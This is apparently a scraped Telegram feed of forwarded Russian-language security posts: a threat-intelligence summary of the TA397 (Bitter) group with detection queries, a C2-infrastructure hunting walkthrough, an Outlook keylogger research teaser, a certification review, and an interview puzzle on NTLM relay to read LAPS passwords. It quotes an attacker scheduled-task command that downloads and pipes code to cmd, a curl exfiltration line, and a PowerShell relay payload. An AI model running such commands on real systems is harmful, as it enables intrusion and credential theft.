Forwarded from Threat Hunting Father 🦔
🧵 TA397 (Bitter)
📌 Новый отчёт от Proofpoint и Threatray раскрывает, как на протяжении 8 лет предположительно индийская APT-группа TA397 ведёт разведку против дипмиссий, правительств и оборонных структур в Европе и Азии.
☕ Немного контекста
Группа давно известна под именем Bitter и подозревается в работе на индийские интересы. Но вместо сложных эксплойтов — ставка на точный фишинг и нестандартный подход к Scheduled Tasks.
Работают строго по графику — 9:00–17:00 по IST, как в офисе.
✉️ Входной вектор: дипломатия, CHM и .MSC
TA397 маскируются под посольства, министерства и оборонные ведомства. Темы писем максимально приближены к реальности:
⚙️ Цепочки заражения
🎣 Email → архив → файл → PowerShell → Scheduled Task → C2
Пример: MSC-файл запускает
🔍 Команда, достойная отдельной кружки чая
PowerShell качает скрипт, читает его и передаёт в
📌 C2-запросы всегда включают
🎯 Ручной контроль
После успешной установки задачи, TA397 ждут, и только если цель «интересна», загружают RAT (например, Demon Agent или BDarkRAT). Примеры активности:
Иногда монтируют удалённую шару
Упаковка PE-файлов вручную:
🧠 Детект
1. conhost в headless-режиме
Весь материал в пост не уместить, поэтому к прочтению:
🔗 https://www.proofpoint.com/us/blog/threat-insight/bitter-end-unraveling-eight-years-espionage-antics-part-one
🔗 https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
🦔 THF
📌 Новый отчёт от Proofpoint и Threatray раскрывает, как на протяжении 8 лет предположительно индийская APT-группа TA397 ведёт разведку против дипмиссий, правительств и оборонных структур в Европе и Азии.
TA397 will frequently target organizations and entities in Europe that have interests or a presence in China, Pakistan, and other neighboring countries on the Indian subcontinent.
☕ Немного контекста
Группа давно известна под именем Bitter и подозревается в работе на индийские интересы. Но вместо сложных эксплойтов — ставка на точный фишинг и нестандартный подход к Scheduled Tasks.
Работают строго по графику — 9:00–17:00 по IST, как в офисе.
TA397’s hands-on-keyboard and infrastructure operations align with the standard working hours of the Indian Standard Time (IST) timezone.
✉️ Входной вектор: дипломатия, CHM и .MSC
TA397 маскируются под посольства, министерства и оборонные ведомства. Темы писем максимально приближены к реальности:
"AUTHORIZATION TO RENEW CONTRACTS OF ECD AGENTS"
"SituationNote : SouthKorea_Martial law"
"Note from Embassy of Mauritius"
"Key National Defense R&D Projects"
Вложения — RAR-архивы с .CHM, .LNK, .MSC. Изредка — IQY и Access DB.⚙️ Цепочки заражения
🎣 Email → архив → файл → PowerShell → Scheduled Task → C2
Пример: MSC-файл запускает
mmc.exe, который создаёт задачу через schtasks, использует conhost.exe и PowerShell 🔍 Команда, достойная отдельной кружки чая
"C:\\Windows\\System32\\conhost.exe" --headless cmd /c ping localhost > nul & schtasks /create /tn "EdgeTaskUI" /f /sc minute /mo 16 /tr "conhost --headless powershell -WindowStyle Minimized irm 'woodstocktutors[.]com/jbc.php?fv=$env:COMPUTERNAME*$env:USERNAME' -OutFile 'kwe.cc'; Get-Content 'kwe.cc' | cmd"
Что тут:ping → создаёт задержкуschtasks создаёт задачуPowerShell качает скрипт, читает его и передаёт в
cmd📌 C2-запросы всегда включают
COMPUTERNAME и USERNAME — иногда через *, .., --, ; и даже __ — чтобы запутать сигнатуры.🎯 Ручной контроль
После успешной установки задачи, TA397 ждут, и только если цель «интересна», загружают RAT (например, Demon Agent или BDarkRAT). Примеры активности:
curl -X POST -F "file=@C:\\programdata\\abc1.pdf" http://1.1.1[.]1/svupfl.php?oi=HOST_USER
Собирают systeminfo, tasklist, wmicИногда монтируют удалённую шару
\\IP\tempy, откуда грузят RAT’ы (wmRAT, MiyaRAT)Упаковка PE-файлов вручную:
sh1.txt + sh2.txt = shh.exe🧠 Детект
1. conhost в headless-режиме
event_type: "processcreatewin"
AND proc_file_name: "conhost.exe"
AND cmdline: "headless"
2. PowerShell → Get-Content → cmdevent_type: "processcreatewin"
AND proc_file_name: "powershell.exe"
AND cmdline: ("get-content" AND "cmd")
3. C2-сервер с Let’s Encrypt + PHP endpoint + имя машиныhttps://domain[.]com/sdf.php?fv=HOST*USER
Весь материал в пост не уместить, поэтому к прочтению:
🦔 THF
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Threat Hunting Father 🦔
🕵️ Как из одного IP вытянуть больше информации
Во время TH или анализа инцидента часто всё начинается с одного объекта — подозрительного IP-адреса/домена. Но за ним может стоять целый кластер C2, фишинговых доменов и прокси.
📦 Что делать дальше?
Провести инфраструктурную разведку: поиск связей, повторно используемых конфигураций и других узлов.
🛠 Часть полезных инструментов:
▪️ Whois / Passive DNS
▪️ Shodan, Censys
▪️ VirusTotal, AbuseIPDB
▪️ Hunt.io
🔍 Сегодня рассмотрим пример Hunt.io
1. Старт с IP
Адрес
2. Базовая инфа
📍 Хостинг: BL Networks (анонимные VPS)
📛 Домен:
📌 Один домен на IP → не shared-хостинг → признак выделенного C2
3. Порты и сервисы
Открыты 22 (SSH), 80, 443.
Nginx, ответ на 443 —
⚠️ Признаков Cobalt Strike или чего-то редкого — нет.
4. Сертификаты
🔐 Self-signed, CN =
🧬 Используем JA4X фингерпринт → ищем похожие конфигурации
5. SQL-поиск в Hunt
По JA4X найдено всего 6 хостов → высокая уникальность → можно связывать в одну группу.
6. Проверка в VirusTotal
Часть адресов детектится, есть упоминание Latrodectus (модульная малварь).
Изолированный IP оказался частью скрытой инфраструктуры.
✔️ Из одного IP получен кластер из нескольких C2-хостов
✔️ Методика применима для охоты на инфраструктуру до компрометации
✔️ Позволяет строить детект на основе поведения: VPS-провайдер, TLS-паттерны, конфигурации, а не конкретные адреса
🔗 https://hunt.io/blog/practical-guide-unconvering-malicious-infrastructure
🦔 THF
Во время TH или анализа инцидента часто всё начинается с одного объекта — подозрительного IP-адреса/домена. Но за ним может стоять целый кластер C2, фишинговых доменов и прокси.
📦 Что делать дальше?
Провести инфраструктурную разведку: поиск связей, повторно используемых конфигураций и других узлов.
🛠 Часть полезных инструментов:
▪️ Whois / Passive DNS
▪️ Shodan, Censys
▪️ VirusTotal, AbuseIPDB
▪️ Hunt.io
🔍 Сегодня рассмотрим пример Hunt.io
1. Старт с IP
Адрес
168.100.9[.]71 всплыл в фиде/иницденте как подозрительный.2. Базовая инфа
📍 Хостинг: BL Networks (анонимные VPS)
📛 Домен:
btc-winnings-made[.]com → намёк на криптоскам📌 Один домен на IP → не shared-хостинг → признак выделенного C2
3. Порты и сервисы
Открыты 22 (SSH), 80, 443.
Nginx, ответ на 443 —
404 с заглушкой.⚠️ Признаков Cobalt Strike или чего-то редкого — нет.
4. Сертификаты
🔐 Self-signed, CN =
localhost, Issuer = Internet Widgits Pty Ltd🧬 Используем JA4X фингерпринт → ищем похожие конфигурации
5. SQL-поиск в Hunt
По JA4X найдено всего 6 хостов → высокая уникальность → можно связывать в одну группу.
6. Проверка в VirusTotal
Часть адресов детектится, есть упоминание Latrodectus (модульная малварь).
Изолированный IP оказался частью скрытой инфраструктуры.
✔️ Из одного IP получен кластер из нескольких C2-хостов
✔️ Методика применима для охоты на инфраструктуру до компрометации
✔️ Позволяет строить детект на основе поведения: VPS-провайдер, TLS-паттерны, конфигурации, а не конкретные адреса
🦔 THF
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ESCalator
Мутация Exchange. Как мы аномалии в Outlook-страницах ловили 😮
В продолжение историй с расследований инцидентов (о них можно почитать вот тут, здесь и частично послушать тут) мы решили проанализировать общую концепцию вставок вредоносного кода в страницы аутентификации Microsoft Outlook. В итоге:
• Помимо обнаруженного на расследованиях инцидентов кейлоггера, обнаружили множество других аналогичных вредоносов.
• Ключевое отличие всех вредоносных фрагментов кода заключается в способе отправки учетных данных жертв: в нем применяются сохранение данных в файл на сервере, DNS-туннелирование, отправка сообщений в телеграм-бота и другие техники.
• Заражения были обнаружены в 26 странах. Большинство скомпрометированных серверов находятся во Вьетнаме, Китае, России, Тайване.
• Как показывает статистика, основная причина успешных атак на серверы — отсутствие установленных обновлений безопасности; на 3 из 65 серверов обновления отсутствовали с 2013 года.
📫 Какие кейлоггеры были обнаружены, куда и как хакеры отправляют данные жертв и как обнаружить вредоносный код в странице Outlook, рассказали в нашем исследовании.
#TI #IR #Malware
@ptescalator
В продолжение историй с расследований инцидентов (о них можно почитать вот тут, здесь и частично послушать тут) мы решили проанализировать общую концепцию вставок вредоносного кода в страницы аутентификации Microsoft Outlook. В итоге:
• Помимо обнаруженного на расследованиях инцидентов кейлоггера, обнаружили множество других аналогичных вредоносов.
• Ключевое отличие всех вредоносных фрагментов кода заключается в способе отправки учетных данных жертв: в нем применяются сохранение данных в файл на сервере, DNS-туннелирование, отправка сообщений в телеграм-бота и другие техники.
• Заражения были обнаружены в 26 странах. Большинство скомпрометированных серверов находятся во Вьетнаме, Китае, России, Тайване.
• Как показывает статистика, основная причина успешных атак на серверы — отсутствие установленных обновлений безопасности; на 3 из 65 серверов обновления отсутствовали с 2013 года.
📫 Какие кейлоггеры были обнаружены, куда и как хакеры отправляют данные жертв и как обнаружить вредоносный код в странице Outlook, рассказали в нашем исследовании.
#TI #IR #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Как и обещал, выкладываю обзор
Вопросы автору можно задать в чате или комментариях
Недавно я завершил курс и успешно сдал экзамен HTB Certified Active Directory Pentesting Expert (CAPE) от Hack The Box Academy. Меня зовут Артём Метельков, я занимаюсь пентестами инфраструктуры и фишинг-атаками. В этом обзоре поделюсь своими впечатлениями и расскажу, что вас ждёт на пути к этой сертификации.
HTB CAPE - это чисто практическая штука. Тут не просто учат, а реально проверяют, как ты усвоил материал. Экзамен - это стенд с 10+ машинами, несколькими доменами и разными трастами между ними. В общем, всё как в реальной жизни.
Коротко о курсе:
Интенсивный обучающий курс, который охватывает широкий спектр техник и инструментов для проведения пентеста
#htb #cert #exam
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2
Forwarded from CyberSecrets
Задача для собеседования №2
Продолжаем тему задачек и рассмотрим второй сценарий. И опять чтение LAPS, но это совпадение.
Сценарий
В результате анализа векторов в BloodHound было обнаружено, что на сервер
Дополнительное условие, на сервере
Задача попытаться захватить учетную запись администратора
Решение:
Если на сервере `SCCM` не настроена защита от принудительной аутентификации (фильтр RPC), то мы можем попытаться выполнить принудительную аутентификация и перенаправить NTLN аутентификацию на сервер `SERVER`. В качестве полезной нагрузки может быть несколько вариантов:
- Добавить себя в группу локальных администраторов;
- Прочитать данные из LSA, получив локальные учетные данные;
- Выполнить LDAP запрос на чтение атрибута `ms-Mcs-AdmPwd`
Рассмотрим третий вариант. Хотя учетная запись `SCCM` входит в группу локальных администраторов, компьютерам запрещен интерактивный вход на удаленную машину. Поэтому все команды будут выполняться от SYSTEM. Если команды от SYSTEM на доменной машине, то при обращении к LDAP будет использоваться учетной запись компьютера, в нашем случае `SERVER`.
Чтобы выполнить запрос к LDAP воспользуемся ADSI запросом:
```
$object = [ADSI]"LDAP://CN=SERVERDB,CN=Computers,DC=domain,DC=local"
$name, $laps = $object.Properties["name","ms-Mcs-AdmPwd"]
Write-Output "$name has LAPS password $laps"
```
Переведем это в последовательность base64, чтобы избавиться от лишних спецсимволов. Запускаем NTLM Relay в качестве цели указываем SERVER, а в качестве полезной нагрузки ` -c "powershell -enc <base64>"`.
Теперь выполняем принудительную аутентификацию сервера `SCCM` и наблюдаем за результатами. Если все было сделано правильно мы получим пароль LPAS и можем зайти на сервер ` SERVERDB` и попытаться захватить учетную запись `AD-ADMIN` с помощью дампа билетов Kerberos или имперсонализации токенов доступа.
Если, что-то пойдет не так, то всегда остаются два первых варианта.
#Внутрянка #Задачи
Продолжаем тему задачек и рассмотрим второй сценарий. И опять чтение LAPS, но это совпадение.
Сценарий
В результате анализа векторов в BloodHound было обнаружено, что на сервер
SCCM имеет привилегии локального администратора на сервере SERVER, который в свою очередь имеет права на чтение атрибута LAPS для сервера SERVERDB. На сервере SERVERDB есть сессия администратора AD-ADMIN.Дополнительное условие, на сервере
SERVER отключена SMB подпись.Задача попытаться захватить учетную запись администратора
AD-ADMIN.Решение:
- Добавить себя в группу локальных администраторов;
- Прочитать данные из LSA, получив локальные учетные данные;
- Выполнить LDAP запрос на чтение атрибута `ms-Mcs-AdmPwd`
Рассмотрим третий вариант. Хотя учетная запись `SCCM` входит в группу локальных администраторов, компьютерам запрещен интерактивный вход на удаленную машину. Поэтому все команды будут выполняться от SYSTEM. Если команды от SYSTEM на доменной машине, то при обращении к LDAP будет использоваться учетной запись компьютера, в нашем случае `SERVER`.
Чтобы выполнить запрос к LDAP воспользуемся ADSI запросом:
```
$object = [ADSI]"LDAP://CN=SERVERDB,CN=Computers,DC=domain,DC=local"
$name, $laps = $object.Properties["name","ms-Mcs-AdmPwd"]
Write-Output "$name has LAPS password $laps"
```
Переведем это в последовательность base64, чтобы избавиться от лишних спецсимволов. Запускаем NTLM Relay в качестве цели указываем SERVER, а в качестве полезной нагрузки ` -c "powershell -enc <base64>"`.
Теперь выполняем принудительную аутентификацию сервера `SCCM` и наблюдаем за результатами. Если все было сделано правильно мы получим пароль LPAS и можем зайти на сервер ` SERVERDB` и попытаться захватить учетную запись `AD-ADMIN` с помощью дампа билетов Kerberos или имперсонализации токенов доступа.
Если, что-то пойдет не так, то всегда остаются два первых варианта.
#Внутрянка #Задачи